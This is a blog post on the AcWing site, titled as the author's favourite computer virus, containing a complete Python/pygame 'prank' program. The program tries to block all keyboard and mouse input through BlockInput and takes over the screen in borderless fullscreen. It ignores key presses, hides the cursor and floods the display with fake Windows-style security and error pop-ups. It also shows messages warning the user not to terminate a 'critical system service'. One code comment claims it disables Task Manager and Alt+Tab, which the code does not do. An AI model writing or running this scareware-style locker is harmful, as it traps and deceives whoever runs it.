AcWing
  • 首页
  • 课程
  • 题库
  • 更多
    • 竞赛
    • 题解
    • 分享
    • 问答
    • 应用
    • 校园
  • 关闭
    历史记录
    清除记录
    猜你想搜
    AcWing热点
  • App
  • 登录/注册

我最爱的一个计算机病毒

作者: 作者的头像   钱泓谷 ,  2025-07-06 13:02:09 · 江苏 ,  所有人可见 ,  阅读 7


0


alert_system.py
import pygame
import random
import sys
import os
import time
import ctypes
import math
from pygame import gfxdraw

# 禁用任务管理器和Alt+Tab
try:
    ctypes.windll.user32.BlockInput(True)
    ctypes.windll.kernel32.SetConsoleTitleW("System Notification Service")
except:
    pass

# 初始化pygame
pygame.init()

# 设置屏幕尺寸
info = pygame.display.Info()
screen_width, screen_height = info.current_w, info.current_h
screen = pygame.display.set_mode((screen_width, screen_height), pygame.FULLSCREEN | pygame.NOFRAME)
pygame.display.set_caption("System Alert Center")

# 隐藏系统鼠标
pygame.mouse.set_visible(False)

# 颜色定义
RED = (255, 50, 50)
YELLOW = (255, 255, 50)
BLUE = (50, 150, 255)
GREEN = (50, 255, 100)
PURPLE = (180, 70, 255)
BACKGROUND = (15, 15, 25)

# 图标类型
WARNING = 0
ERROR = 1
INFO = 2
SUCCESS = 3
QUESTION = 4

# 弹窗类
class PopupWindow:
    def __init__(self):
        self.width = random.randint(300, 500)
        self.height = random.randint(150, 250)
        self.x = random.randint(0, screen_width - self.width)
        self.y = random.randint(0, screen_height - self.height)
        self.created_time = time.time()
        self.lifetime = random.uniform(8.0, 15.0)  # 弹窗显示时间
        self.alpha = 255
        self.type = random.choice([WARNING, ERROR, INFO, SUCCESS, QUESTION])
        self.title = self.generate_title()
        self.message = self.generate_message()

    def generate_title(self):
        titles = {
            WARNING: ["Security Alert", "Permission Required", "System Warning", "Attention Needed"],
            ERROR: ["Critical Error", "Operation Failed", "System Failure", "Access Denied"],
            INFO: ["Information Notice", "System Update", "Notification", "Status Report"],
            SUCCESS: ["Operation Complete", "Task Successful", "Process Finished"],
            QUESTION: ["Confirmation Required", "User Input Needed", "Question"]
        }
        return random.choice(titles[self.type])

    def generate_message(self):
        messages = {
            WARNING: [
                "Unusual activity detected in system processes.",
                "Your system may be vulnerable to security threats.",
                "Warning: High memory usage detected.",
                "This action requires administrator privileges."
            ],
            ERROR: [
                "Error code 0x80070005: Access is denied.",
                "Failed to complete the requested operation.",
                "Critical system file missing or corrupted.",
                "Unable to connect to required service."
            ],
            INFO: [
                "Your system is up to date. No action is required.",
                "New features are available for your review.",
                "System scan completed with no issues found.",
                "Backup process completed successfully."
            ],
            SUCCESS: [
                "Operation completed successfully!",
                "All tasks have been executed without errors.",
                "Your changes have been saved.",
                "Verification process passed with no issues."
            ],
            QUESTION: [
                "Do you want to save changes before closing?",
                "Are you sure you want to delete this file?",
                "Would you like to install recommended updates?",
                "Do you grant permission for this application to make changes?"
            ]
        }
        return random.choice(messages[self.type])

    def get_color(self):
        colors = {
            WARNING: (255, 200, 50),
            ERROR: (255, 100, 100),
            INFO: (100, 180, 255),
            SUCCESS: (100, 220, 100),
            QUESTION: (200, 150, 255)
        }
        return colors[self.type]

    def update(self):
        # 更新透明度
        elapsed = time.time() - self.created_time
        if elapsed > self.lifetime * 0.8:  # 最后20%时间开始淡出
            self.alpha = max(0, int(255 * (1 - (elapsed - self.lifetime * 0.8) / (self.lifetime * 0.2))))

        # 如果弹窗消失,返回True表示需要移除
        return elapsed > self.lifetime

    def draw(self, surface):
        # 创建弹窗表面
        popup_surface = pygame.Surface((self.width, self.height), pygame.SRCALPHA)

        # 绘制弹窗背景
        bg_color = (*self.get_color(), min(230, self.alpha))
        pygame.draw.rect(popup_surface, bg_color, (0, 0, self.width, self.height), border_radius=10)
        pygame.draw.rect(popup_surface, (255, 255, 255, self.alpha), (0, 0, self.width, self.height), 2, border_radius=10)

        # 绘制标题栏
        title_color = (*self.get_color(), self.alpha)
        pygame.draw.rect(popup_surface, title_color, (0, 0, self.width, 30), border_radius=10)
        pygame.draw.rect(popup_surface, (255, 255, 255, self.alpha), (0, 0, self.width, 30), 2, border_radius=10)

        # 绘制标题
        title_font = pygame.font.SysFont('Arial', 16, bold=True)
        title_text = title_font.render(self.title, True, (0, 0, 0, self.alpha))
        popup_surface.blit(title_text, (10, 7))

        # 绘制消息
        message_font = pygame.font.SysFont('Arial', 14)
        message_lines = self.wrap_text(self.message, message_font, self.width - 40)

        for i, line in enumerate(message_lines):
            text_surface = message_font.render(line, True, (0, 0, 0, self.alpha))
            popup_surface.blit(text_surface, (20, 50 + i * 25))

        # 绘制按钮
        button_color = (200, 200, 200, self.alpha)
        pygame.draw.rect(popup_surface, button_color, (self.width - 100, self.height - 40, 80, 30), border_radius=5)
        pygame.draw.rect(popup_surface, (0, 0, 0, self.alpha), (self.width - 100, self.height - 40, 80, 30), 1, border_radius=5)

        button_font = pygame.font.SysFont('Arial', 14)
        button_text = button_font.render("OK", True, (0, 0, 0, self.alpha))
        popup_surface.blit(button_text, (self.width - 70 - button_text.get_width()//2, self.height - 35))

        # 绘制弹窗到主屏幕
        surface.blit(popup_surface, (self.x, self.y))

    def wrap_text(self, text, font, max_width):
        words = text.split(' ')
        lines = []
        current_line = words[0]

        for word in words[1:]:
            test_line = current_line + " " + word
            text_width, _ = font.size(test_line)

            if text_width < max_width:
                current_line = test_line
            else:
                lines.append(current_line)
                current_line = word

        lines.append(current_line)
        return lines

# 图标类
class NotificationIcon:
    def __init__(self, x, y, icon_type):
        self.x = x
        self.y = y
        self.type = icon_type
        self.size = random.randint(40, 70)
        self.created_time = time.time()
        self.lifetime = random.uniform(3.0, 6.0)  # 图标显示时间
        self.alpha = 255
        self.angle = 0
        self.spin_speed = random.uniform(-1.5, 1.5)
        self.float_speed = random.uniform(0.2, 0.8)

        # 根据类型设置颜色
        if icon_type == WARNING:
            self.color = YELLOW
            self.text = random.choice(["Warning: Low Memory", "Security Alert", "Permission Required", 
                                      "Unverified Source", "High CPU Usage"])
        elif icon_type == ERROR:
            self.color = RED
            self.text = random.choice(["Error: File Not Found", "Access Denied", "System Failure", 
                                      "Critical Error", "Operation Failed"])
        elif icon_type == INFO:
            self.color = BLUE
            self.text = random.choice(["Information: Update Available", "New Message", "System Notice", 
                                      "Process Complete", "Status: Online"])
        elif icon_type == SUCCESS:
            self.color = GREEN
            self.text = random.choice(["Success: Operation Complete", "Verified", "Task Finished", 
                                      "All Systems OK", "Connection Established"])
        else:  # QUESTION
            self.color = PURPLE
            self.text = random.choice(["Question: Proceed?", "Confirm Action", "Unknown File Type", 
                                      "Requires Attention", "Review Settings?"])

    def update(self):
        # 更新透明度和位置
        elapsed = time.time() - self.created_time
        self.alpha = max(0, int(255 * (1 - elapsed/self.lifetime)))

        # 旋转和浮动效果
        self.angle += self.spin_speed
        self.y -= self.float_speed

        # 如果图标消失,返回True表示需要移除
        return elapsed > self.lifetime

    def draw(self, surface):
        # 创建临时表面绘制图标
        icon_surface = pygame.Surface((self.size * 2, self.size * 2), pygame.SRCALPHA)

        # 绘制图标背景
        pygame.draw.circle(icon_surface, (*self.color, self.alpha), 
                          (self.size, self.size), self.size)
        pygame.draw.circle(icon_surface, (255, 255, 255, self.alpha), 
                          (self.size, self.size), self.size, 3)

        # 根据图标类型绘制符号
        if self.type == WARNING:
            # 感叹号
            pygame.draw.rect(icon_surface, (0, 0, 0, self.alpha), 
                            (self.size - 4, self.size - 20, 8, 20))
            pygame.draw.circle(icon_surface, (0, 0, 0, self.alpha), 
                              (self.size, self.size + 10), 4)
        elif self.type == ERROR:
            # X符号
            pygame.draw.line(icon_surface, (0, 0, 0, self.alpha),
                            (self.size - 12, self.size - 12),
                            (self.size + 12, self.size + 12), 4)
            pygame.draw.line(icon_surface, (0, 0, 0, self.alpha),
                            (self.size + 12, self.size - 12),
                            (self.size - 12, self.size + 12), 4)
        elif self.type == INFO:
            # i符号
            pygame.draw.circle(icon_surface, (0, 0, 0, self.alpha),
                              (self.size, self.size - 8), 5)
            pygame.draw.rect(icon_surface, (0, 0, 0, self.alpha),
                            (self.size - 3, self.size + 5, 6, 15))
        elif self.type == SUCCESS:
            # 勾号
            points = [
                (self.size - 15, self.size),
                (self.size - 5, self.size + 15),
                (self.size + 15, self.size - 10)
            ]
            pygame.draw.lines(icon_surface, (0, 0, 0, self.alpha), False, points, 5)
        else:  # QUESTION
            # 问号
            pygame.draw.circle(icon_surface, (0, 0, 0, self.alpha),
                              (self.size, self.size - 8), 5)
            pygame.draw.arc(icon_surface, (0, 0, 0, self.alpha),
                           (self.size - 15, self.size - 5, 30, 25), 0.2, 3.0, 4)
            pygame.draw.circle(icon_surface, (0, 0, 0, self.alpha),
                              (self.size, self.size + 15), 3)

        # 旋转图标
        rotated_icon = pygame.transform.rotate(icon_surface, self.angle)
        rot_rect = rotated_icon.get_rect(center=(self.x, self.y))

        # 绘制图标
        surface.blit(rotated_icon, rot_rect)

        # 绘制文本
        if self.alpha > 100:  # 只在图标较明显时显示文本
            font = pygame.font.SysFont('Arial', 16)
            text_surface = font.render(self.text, True, (200, 200, 200, self.alpha))
            text_rect = text_surface.get_rect(center=(self.x, self.y + self.size + 25))

            # 文本背景
            text_bg = pygame.Surface((text_rect.width + 20, text_rect.height + 10), pygame.SRCALPHA)
            text_bg.fill((0, 0, 0, min(180, self.alpha)))
            surface.blit(text_bg, (text_rect.x - 10, text_rect.y - 5))

            # 绘制文本
            surface.blit(text_surface, text_rect)

# 创建自定义鼠标
class CustomMouse:
    def __init__(self):
        self.x = screen_width // 2
        self.y = screen_height // 2
        self.size = 15
        self.color = (200, 200, 255)
        self.trail = []
        self.max_trail = 20
        self.trail_colors = [
            (200, 200, 255, 200),
            (180, 180, 255, 180),
            (160, 160, 255, 160),
            (140, 140, 255, 140),
            (120, 120, 255, 120)
        ]

    def update(self, pos):
        # 更新位置
        self.x, self.y = pos

        # 更新轨迹
        self.trail.append((self.x, self.y))
        if len(self.trail) > self.max_trail:
            self.trail.pop(0)

    def draw(self, surface):
        # 绘制轨迹
        for i, (tx, ty) in enumerate(self.trail):
            if i > 0:
                prev_x, prev_y = self.trail[i-1]
                alpha = int(255 * (i / len(self.trail)))
                color = (150, 150, 255, alpha)
                pygame.draw.line(surface, color, (prev_x, prev_y), (tx, ty), 3)

        # 绘制鼠标
        pygame.draw.circle(surface, self.color, (self.x, self.y), self.size)
        pygame.draw.circle(surface, (255, 255, 255), (self.x, self.y), self.size, 2)

        # 绘制鼠标中心
        pygame.draw.circle(surface, (100, 100, 255), (self.x, self.y), 5)

        # 绘制鼠标指针
        points = [
            (self.x + self.size, self.y),
            (self.x + self.size + 20, self.y - 10),
            (self.x + self.size + 25, self.y),
            (self.x + self.size + 20, self.y + 10)
        ]
        pygame.draw.polygon(surface, self.color, points)
        pygame.draw.polygon(surface, (255, 255, 255), points, 2)

# 创建初始对象
icons = []
popups = []
custom_mouse = CustomMouse()
last_icon_time = 0
last_popup_time = 0
icon_delay = 0.1  # 图标生成间隔(秒)
popup_delay = 1.5  # 弹窗生成间隔(秒)

# 创建文本表面
title_font = pygame.font.SysFont('Arial', 36, bold=True)
info_font = pygame.font.SysFont('Arial', 24)
warning_font = pygame.font.SysFont('Arial', 28, bold=True)

# 主循环
clock = pygame.time.Clock()
start_time = time.time()
running = True

# 创建背景网格
grid_size = 40
grid_points = []
for x in range(0, screen_width, grid_size):
    for y in range(0, screen_height, grid_size):
        grid_points.append((x, y))

# 创建浮动粒子
particles = []
for _ in range(100):
    particles.append({
        'x': random.randint(0, screen_width),
        'y': random.randint(0, screen_height),
        'size': random.uniform(0.5, 3),
        'speed': random.uniform(0.1, 0.5),
        'color': (
            random.randint(50, 100),
            random.randint(50, 150),
            random.randint(200, 255)
        )
    })

while running:
    current_time = time.time()

    # 处理事件
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False
        elif event.type == pygame.KEYDOWN:
            # 忽略所有按键
            pass

    # 更新鼠标位置
    mouse_pos = pygame.mouse.get_pos()
    custom_mouse.update(mouse_pos)

    # 在鼠标位置生成新图标
    if current_time - last_icon_time > icon_delay:
        icon_type = random.choice([WARNING, ERROR, INFO, SUCCESS, QUESTION])
        icons.append(NotificationIcon(mouse_pos[0], mouse_pos[1], icon_type))
        last_icon_time = current_time

    # 生成新弹窗
    if current_time - last_popup_time > popup_delay:
        popups.append(PopupWindow())
        last_popup_time = current_time

    # 填充背景
    screen.fill(BACKGROUND)

    # 绘制背景网格
    for point in grid_points:
        pygame.draw.circle(screen, (30, 30, 40), point, 1)

    # 更新并绘制所有图标
    for icon in icons[:]:
        if icon.update():
            icons.remove(icon)
        else:
            icon.draw(screen)

    # 更新并绘制所有弹窗
    for popup in popups[:]:
        if popup.update():
            popups.remove(popup)
        else:
            popup.draw(screen)

    # 绘制自定义鼠标
    custom_mouse.draw(screen)

    # 更新并绘制浮动粒子
    for particle in particles:
        particle['y'] -= particle['speed']
        if particle['y'] < -10:
            particle['y'] = screen_height + 10
            particle['x'] = random.randint(0, screen_width)

        pygame.draw.circle(screen, particle['color'], 
                          (int(particle['x']), int(particle['y'])), 
                          particle['size'])

    # 绘制标题
    title = title_font.render("System Alert Center", True, (200, 200, 255))
    screen.blit(title, (screen_width // 2 - title.get_width() // 2, 20))

    # 绘制状态信息
    status_text = info_font.render(f"Active Alerts: {len(icons)}  |  Open Popups: {len(popups)}", True, (180, 180, 200))
    screen.blit(status_text, (screen_width // 2 - status_text.get_width() // 2, 70))

    # 绘制警告信息
    warning = warning_font.render("WARNING: Do not close this window - Critical system service in progress", True, YELLOW)
    screen.blit(warning, (screen_width // 2 - warning.get_width() // 2, screen_height - 100))

    # 绘制退出提示
    exit_info = info_font.render("This is a critical system service. Do not attempt to terminate.", True, (150, 150, 180))
    screen.blit(exit_info, (screen_width // 2 - exit_info.get_width() // 2, screen_height - 60))

    # 添加一些浮动粒子增强效果
    for _ in range(5):
        x = random.randint(0, screen_width)
        y = random.randint(0, screen_height)
        size = random.randint(1, 3)
        color = random.choice([(100, 100, 200), (150, 150, 255), (200, 200, 255)])
        pygame.draw.circle(screen, color, (x, y), size)

    pygame.display.flip()
    clock.tick(60)

# 程序理论上永远不会执行到这里
try:
    ctypes.windll.user32.BlockInput(False)
except:
    pass
pygame.quit()
sys.exit()

0 评论

App 内打开
你确定删除吗?
1024
x

© 2018-2025 AcWing 版权所有  |  京ICP备2021015969号-2
用户协议  |  隐私政策  |  常见问题  |  联系我们
AcWing
请输入登录信息
更多登录方式: 微信图标 qq图标 qq图标
请输入绑定的邮箱地址
请输入注册信息